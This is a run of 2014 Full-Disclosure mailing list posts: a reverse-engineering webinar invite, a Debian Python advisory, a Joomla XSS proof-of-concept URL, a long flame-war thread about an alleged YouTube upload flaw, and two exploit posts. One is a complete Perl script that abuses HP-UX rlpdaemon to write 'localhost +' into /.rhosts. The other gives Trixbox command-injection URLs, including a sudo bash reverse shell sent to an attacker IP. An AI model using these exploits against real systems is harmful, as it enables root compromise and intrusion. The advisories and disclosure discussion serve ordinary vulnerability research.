Dear All, There has been a issue with hangout service as the Google servers. Hence use below given link to join the webinar. Apologies for the inconvenience and delay. We have changed webcast link. please join us : http://www.twitch.tv/gyndream/ On Fri, Mar 7, 2014 at 5:35 PM, Sandeep Kamble sandeepk.l...@gmail.comwrote: Dear all, Garage4Hacker invites you to join us for a webinar titled Data, data, data! I can't make bricks without clay by Gynvael Coldwind - Google Security Engineer and Dragon Sector Team Captain. For Registration, please fill the following form. https://docs.google.com/forms/d/1L3-...RlNdI/viewformhttps://docs.google.com/forms/d/1L3-Wy49WZx97Aqujm5uRIjrLu02s9mTp20QVXjRlNdI/viewform Detailed Information about event : http://www.garage4hackers.com/showthread.php?t=5875 Reverse Engineering is an art more than science. From the realms of vulnerability discovery to debugging for internals, reverse engineers are a rare breed with the ability to think backwards in the chain of events. Discovering the technological principles of a device, object, or system through analysis of its structure, function, and operation. With the growth of exploit development and rise of malware attacks, reverse engineering is becoming a key area to study. *What to expect:* The presentation would revolve more around the approaches taken in RE than usage of tools. It will be focused on various practical tips and tricks that can speed up the process of reverse-engineering. The presented information will not be strictly tied to any specific platform or tool - most of it can be applied on any architecture or operating system. *Examples of topics:* - how to start with an unknown architecture - debugger scripting - creating your own useful tools - etc *Prerequisites:* - some reverse-engineering experience or general interest in reverse-engineering - basic programming skills - basic knowledge of how the CPU and operating systems work Kind Regard, Garage4Hackers Team Http://garage4hackers.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 2880-1] python2.7 security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2880-1 secur...@debian.org http://www.debian.org/security/Moritz Muehlenhoff March 17, 2014 http://www.debian.org/security/faq - - Package: python2.7 CVE ID : CVE-2013-4238 CVE-2014-1912 Multiple security issues were discovered in Python: CVE-2013-4238 Ryan Sleevi that NULL charactors in the subject alternate names of SSL cerficates were parsed incorrectly. CVE-2014-1912 Ryan Smith-Roberts discovered a buffer overflow in the socket.recvfrom_into() function. For the stable distribution (wheezy), these problems have been fixed in version 2.7.3-6+deb7u2. For the unstable distribution (sid), these problems have been fixed in version 2.7.6-7. We recommend that you upgrade your python2.7 packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1 iQIcBAEBAgAGBQJTJzmwAAoJEBDCk7bDfE42f1oQAIibzpSPb7x6o+NV/eKmrvbC evP9W3zuj5y1UJkQKr7OMkzJk9dO9Y9HLKvOop25fK8btnTPL1Hml42WSmZyhMiF 0NnU8jPGIVqVhIbK9ngdTqIZ2UNtJr5FUkpd69k//bYBX69WpWxtIgVdR2327RsO GC6yZfitIzSDAvTNKXn0K0EpAOAydQDn4M8TZA1J9+kDew1DbWKS5xl69CWxSgjk FLI2WY1amwATZ9yj5qEV+Q2jhTSATyVXTW6ZwOyIjC9KmPaT7a3fZrQlSZeyjbeD jUnoShPvr9KjxSo9ZSfk5HFjQXDytmqUBCcyBc33ESiRX/O52UBjNPCDY9C65XER Z8eoVIFONa/sYxFnAnGLXyKPS3tL+PiE0W++aflPoyzueH184UvNUbyZtcOtn5b/ T7oAhbXIwJFrw7tQh8GP+woKaCmR1kpekE0i5qllGT2O0440wK6m0xJZoySwlLXs EK6EYEbcTznWkQiDCLWbSXFP5YMJpHGV6hL78gkkKaIzvWxsTyteHOSYfMUl4AzP b6WC5uGG469t5ASCS/8mMde/DtRIpDLhqicPXTQRP5/AyIyx5ddCrvtXmsdPYB5Z a2QSpmxup9P4F3D+eT5N5tUf95WmBVtMOXkiHrlQzWvOOr+1vYKtt0+psLf3YFoN RmYnAuiSJVQnuJuVsS6a =sf1t -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] XSS Vulnerability in the Youtube Gallery 3.4.0 Component
The CVE-2013-5956 has been assigned for this vulnerability. Best Regards. On Saturday, March 15, 2014 2:07 PM, Mahmoud Ghorbanzadeh md...@yahoo.com wrote: Hello, Cross-site scripting (XSS) vulnerability in the Youtube Gallery 3.4.0 component for Joomla! allows remote attackers to inject arbitrary web script or HTML via the videofile parameter to /includes/flvthumbnail.php. POC: http://SiteAddress/joomla/components/com_youtubegallery/includes/flvthumbnail.php?videofile=scriptalert('XSS')/script___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] exploit for old rlpdaemon bug
#!/opt/perl5/bin/perl -w # HP-UX rlpdaemon local exploit # Bulletin HPSBUX0111-176 (November 2001) # # For use only on machines where you have legitimate root. # This attempts to add junk (including localhost +) to /.rhosts. # Obvious variants could include /etc/passwd. use IO::Socket; $PORT = 9000; # pick something not in use $pid=fork; die(fork: $!) unless (defined($pid)); if (0 == $pid) { # child - server, exec rlpdaemon with chosen argv $IPPROTO_TCP=6; $SOCK_STREAM=1; $AF_INET=2; $PF_INET=2; $sockaddr='S n a4 x8'; # packed socket data $this=pack($sockaddr, $AF_INET, $PORT, \0\0\0\0) or die(pack: $!); socket(S, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP) || die (socket: $!); bind(S, $this) or die(bind: $!); listen(S, 5) or die(listen: $!); $addr=accept(NS, S); # dup2 on 3 standard streams open(STDIN, +NS) or die(dup2: $!); open(STDOUT, +NS) or die(dup2: $!); open(STDERR, +NS) or die(dup2: $!); exec {/usr/sbin/rlpdaemon} \nlocalhost +\n, -i, -l, -L, /.rhosts; # UNREACHED exit(1); } sleep 5; # let server start before we connect to it # parent - connect to server with loggable action $remote = IO::Socket::INET-new( Proto= tcp, PeerAddr = localhost, PeerPort = $PORT ) or die cannot connect to port $PORT at localhost; # RFC1179 printf($remote %clp\n, 2); # rlpdaemon should log this close($remote); exit(0); ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Some of the replies in this thread are very unfair to the original poster. I have read the news story and have thoroughly read the proof of concepts which in my opinion indicate that this is surely a security vulnerability. I have worked for Lumension as a security consultant for more than a decade. I have never thought that Google would have gone that far. Quite scary if you ask me... Do not be discouraged, as a security researcher I have also been getting that. I can certainly certify that this is a security problem, no doubts about that. Big Al _ Get your free email @ http://www.xtcmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Hello... I am an IT security expert for the Emirates National Oil Company. Google is my favourite search engine by far. Now I just read the report about the unrestricted upload issue and I think that the author is right that it is a securityproblem.This is a vulnerability because file name extension verification's not been used properly. The problem here has also been with the returned MIME type returned from the API$_FILES['uploadedfile']['type']” holds the value of the MIME type. Tampering the HTTP Post request can exploit the functionality.An attacker can bypass this protection by changing the MIME type of the shell.php to “image/gif”. So when an application checks the MIME type, it seems like a gif file. The application will then upload the malicious code shell.php. That is something that definitely needsto be fixed, if it hasn't already.Definetely a security problem.http://resources.infosecinstitute.com/file-upload-vulnerabilities/Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
I signed onto this mailing list as an interested person in security - not to see everyone moan. We will all have differences in opinion and we should all respect that. This goes for everyone and I feel I speak for a lot of people here, everyone needs to grow up, and shut up. Email scanned and verified safe. On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote: Sockpuppet much? On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote: Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ smime.p7s Description: S/MIME cryptographic signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Hello, I am a security professional and risk manager in UAE. I support that the remote file upload on YouTube is a vulnerability, and I am sure about this. Not the slightest doubts... There is a different between a vulnerability and an exploit. The vulnerability here is the lack of any file extension checks, content type verification “$_FILES['uploadedfile']['type']” holds the value of the MIME type. A hacker can easily upload files using a script that allows the sending or tampering of HTTP POST requests. e.g: ?php //Demo1.php if($_FILES['uploadedfile']['type'] != image/gif) { echo Sorry, we only allow uploading GIF images; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']); if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) { echo File is valid, and was successfully uploaded.n; } else { echo File uploading failed.n; } ? Read this for more info if you like: http://resources.infosecinstitute.com/file-upload-vulnerabilities/ if not (rwx) and only (w) to a temporary file even, the spread of malware is real no matter if the file is executed at the time is upload. For the JSON reply: A hacker exploits a JSON (javascript) object that has information of interest for example holding some values for cookies. A lot of times that exploits the same policy origin. The JSON object returned from a server can be forged over writing javascript function that create the object. This happens because of the same origin policy problem in browsers that cannot say if js execution it different for two different sites. Sincerely , T. Imbrahim --- lcam...@coredump.cx wrote: From: Michal Zalewski lcam...@coredump.cx To: M Kirschbaum pr...@yahoo.co.uk Cc: full-disclosure@lists.grok.org.uk full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Sat, 15 Mar 2014 09:46:27 -0700 As a professional penetration tester, [...] The JSON service responds to GET requests , and there is a good chance that the service is also vulnerable to JSON Hijacking attacks. That's... not how XSSI works. To have a script inclusion vulnerability, you need to have a vanilla GET response that contains some user-specific secrets that are returned to the caller based on HTTP cookies (or, less likely, other ambient credentials). For example, a script response that discloses the contents of your mailbox or the list of private contacts would be of concern. Further, the response must be in a format that can be not only loaded, but also inspected by another site opened in your browser; most types of JSONP fall into this category, but JSON generally does not, essentially because of how the meaning of { is overloaded in JS depending on where it appears in a block of code. Last but not least, the final piece of the puzzle is that the response must be served at a URL that can be guessed by third parties who don't have access to your account. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _ Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Is this treated with the same way that says that Remote File Inclusion is not a security issue ? You don't follow? Implying ? I understand why nobody likes Google. If I 've found a vulnerability and been treated like that for trying to help, I would rather sell it to the black market or to some government. The NSA maybe is happy to buy a RFI on Google, im sure they could make good use of that. Google is very deceptive in security matters. --- lcam...@coredump.cx wrote: From: Michal Zalewski lcam...@coredump.cx To: timbra...@techemail.com Cc: pr...@yahoo.co.uk, full-disclosure full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Sat, 15 Mar 2014 10:59:40 -0700 A hacker exploits a JSON (javascript) object that has information of interest for example holding some values for cookies. A lot of times that exploits the same policy origin. The JSON object returned from a server can be forged over writing javascript function that create the object. This happens because of the same origin policy problem in browsers that cannot say if js execution it different for two different sites. To be honest, I'm not sure I follow, but I'm fairly confident that my original point stands. If you believe that well-formed JSON objects without padding can be read across origins within the browser, I would love to see more information about that. (In this particular case, it still wouldn't matter because the response doesn't contain secrets, but it would certainly break a good chunk of the Internet.) JSONP is a different animal. /mz _ Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. --- lcam...@coredump.cx wrote: From: Michal Zalewski lcam...@coredump.cx To: timbra...@techemail.com Cc: M Kirschbaum pr...@yahoo.co.uk, full-disclosure full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Sat, 15 Mar 2014 11:47:19 -0700 Is this treated with the same way that says that Remote File Inclusion is not a security issue ? I'm not sure how RFI came into play on this thread - the original report wasn't about RFI. I don't have an agenda here; I'm just trying to get to the bottom of it and make sure that we converge on a common understanding of the issue. As in any argument, it's fairly likely that one of us is wrong, and I accept that it could very well be me - I have been wrong quite a few times in my life, and it's always a valuable learning opportunity. I think it's unfortunate that the thread has devolved into various accusations and credential-slinging, because it reduces the likelihood of such a productive outcome. Please feel free to ping me directly any time, though - I'm happy to chat. Cheers, /mz _ Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
LOL. boy oh boy you would have HATED the N3td3v years then... I'm sure your delete key works doesn't it? From: Full-Disclosure [mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Thomas Williams Sent: Saturday, March 15, 2014 10:44 AM To: Mario Vilas Cc: full-disclosure@lists.grok.org.uk; M Kirschbaum Subject: Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC I signed onto this mailing list as an interested person in security - not to see everyone moan. We will all have differences in opinion and we should all respect that. This goes for everyone and I feel I speak for a lot of people here, everyone needs to grow up, and shut up. Email scanned and verified safe. On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote: Sockpuppet much? On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote: Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com http://youtube.com/ ) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com http://youtube.com/ or *.google.com http://google.com/ , etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind -- There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
You are so incompetent.. If you want proof why don't you do it yourself? https://www.youtube.com/watch?v=G4EkgJtjDvU - Here is proof that the file is saved and processed. If you want to question it come up with your real name, stop hiding behind fake emails. Are you a Google employee? What's your motive? Best On Fri, Mar 14, 2014 at 8:39 PM, R D rd.secli...@gmail.com wrote: You are trying to execute an sh script through a video player. That's an exec() command. No, it's not. That's an HTTP GET. Do you have such a poor understanding of how web applications work? Or did you just not read what I said? So its the wrong way about accessing the file. This way, which is the standard way to access files on youtube, tells me the file doesn't exist. You have yet to prove the file you uploaded can be accessed or executed by anyone. For that matter, you have still to prove it can be discovered by anyone. That URL is hard to guess. And you have still to answer all my other questions, and most of the questions asked to you on this list. The burden of proof is on you, and you are making a fool of yourself by answering all the questions here with the same statements, and links to your PoC that doesn't proves anything, while everybody asks you for more evidence. Keep on the (good?) work, --Rob' On Fri, Mar 14, 2014 at 9:22 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: You are trying to execute an sh script through a video player. That's an exec() command. So its the wrong way about accessing the file. On Fri, Mar 14, 2014 at 8:20 PM, R D rd.secli...@gmail.com wrote: No it's not. As Chris and I are saying, you don't have proof your file is accessible to others, only that is was uploaded. Now, you see, when you upload a video to youtube, you get the adress where it will be viewable in the response. In your case : {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url: http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000 ,cross_domain_url: http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status: ok, *video_id: KzKDtijwHFI* ,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}} And what do we get when we browse to https://youtube.com/watch?v=KzKDtijwHFI ? Nothing. Can you send me a link where I can access the file content of the arbitrary file you uploaded? Are you sure this json response, or this file, will be there in a month? Or in a year? Is the fact that this json response exists a threat to youtube? Can you quantify how of a threat? How much, in dollars, does it hurt their business? --Rob On Fri, Mar 14, 2014 at 9:08 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: My claim is now verified Cheers! On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: http://upload.youtube.com/?authuser=0upload_id= AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1-- uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin= CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw That information can be queried from the db, where the metadata are saved. The files are being saved persistently , as per the above example. On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw That information can be queried from the db, where the metadata are saved. The files are being saved persistently , as per the above example. On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson christhom7...@gmail.com wrote: Hi Nikolas, Please do read (and understand) my entire email before responding - I understand your frustration trying to get your message across but maybe this will help. Please put aside professional pride for the time being - I know how it feels to be passionate about something yet have others simply not understand. Let me try and bring some sanity to the discussion and explain to you why people maybe not agreeing with you. You (rightly so) highlighted what you believe to be an issue in a Youtube whereby it appears (to you) than you can upload an arbitrary file. If you can indeed do this as you suspect then your points are valid and you
[Full-disclosure] Trixbox all versions , Remote root Exploit
# App : Trixbox all versions # vendor : trixbox.com # Author : i-Hmx # mail : n0p1...@gmail.com # Home : security arrays inc , sec4ever.com ,exploit4arab.net Well well well , we decided to give schmoozecom a break and have a look @ fonality products do you think they have better product than the (Award winning) trixbox!!! I don't think so Designed and marketed for Fonality's partner community, trixbox Pro is an IP-PBX software solution purpose built to support growing SMB businesses. A unique hybrid hosted telephony solution; trixbox Pro provides big business features at an SMB cost . . blah blah blah What do we have here?? A 3 years old Sql injection flaw??? not big deal , and already been reported not enough good exloitation , but reported A file disclosure flaw??? save it for later let's give Fonality little Remote root Exploit xD and als give the pentesters some pain in the ass trying to exploit this consider it as challenge ;) Here we go Vulnerable file : /var/www/html/maint/modules/endpointcfg/endpoint_aastra.php Pice of $hit , sorry i mean code switch($_action) { case 'Edit': if ($_REQUEST['newmac']){ // create a new phone from device map $mac_address = $_REQUEST['newmac']; } if ($_REQUEST['mac']){ $phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType); $mac_address=$phoneinfo['mac_address'];} // if there is a request ID we Edit otherwise add a new phone $freepbx_device_list = GetFreepbxDeviceList(); $smarty-assign(mac_address, $mac_address); $smarty-assign(phone, $phoneinfo); $smarty-assign(freepbx_device_list, $freepbx_device_list); $smarty-assign(message, $message); $template = endpoint_.$PhoneType._edit.tpl; break; case 'Delete': exec(rm .$sipdir.$_REQUEST['mac']..cfg); getSQL(DELETE FROM .$PhoneType. WHERE mac_address='.$_REQUEST['mac'].','endpoints'); $smarty-assign(phones, ListPhones($PhoneType)); $template = endpoint_.$PhoneType._list.tpl; break; it's obvious we care about this line exec(rm .$sipdir.$_REQUEST['mac']..cfg); Exploitation demo : maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;echo idxx;faris result will be written to xx but this is not the full movie yet , Am here to give fonality an night mare , which take the form of root privzz actually the server is configured by default to allow the web interface pages to edit many files @ the root directory so any noob can easily execute the sudo fu#k with out being permited for password , and the result is root Demo Back connection with root privs maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;sudo bash -i %26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0%261;faris change to your ip and the port you are listening to and , Volia , you are root now am sure you're happy as pig in $hit xD Still need more?? you will notice that you're unable to reach this file due to the http firewall but actually there is simple and yet dirty trick that allow you to get pass through it , and execute your command smothely as boat on the river ;) And here come the challengs , let's see what the faggots can do with this ;) need hint??? use your mind and fu#k off :/ Big greets fly to the all sec4ever family OH , and for voip lames , you can use our 0Days for sure but once it become 720Days xD Regards, Faris the Awsome ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
The thread starter is right about this. It is a vulnerability, and I think Google should start considering this. The JSON service responds to GET requests , and there is a good chance that the service is also vulnerable to JSON Hijacking attacks. As a professional penetration tester , I believe that Google was false not to award this.___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
I'm just a lurker on the list, which I have always found valuable. But for what it's worth, this thread is an awful bore. Who cares about people's credentials? I'm not asking for administrative intervention, which I hate, but rather that the various entrants in the pissing contest empty their bladders elsewhere. Please! ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Same here... It's like a train wreck, you know you shouldn't watch but it's just so damned entertaining at this point that I can't stop... Sent from my iPhone On Mar 14, 2014, at 2:46 PM, Yvan Janssens i...@yvanj.me wrote: Does anybody still have some popcorn left? They ran out of it in the tax free zone in here due to this thread... Kind regards, Yvan Janssens Sent from my PDA - excuse me for my brevity On 14 Mar 2014, at 18:40, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We have many PoC's including video clips. We may upload for the security world to see. However, this is not the way to treat security vulnerabilities. Attacking the researcher and bringing you friends to do aswell, won't mitigate the problem. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
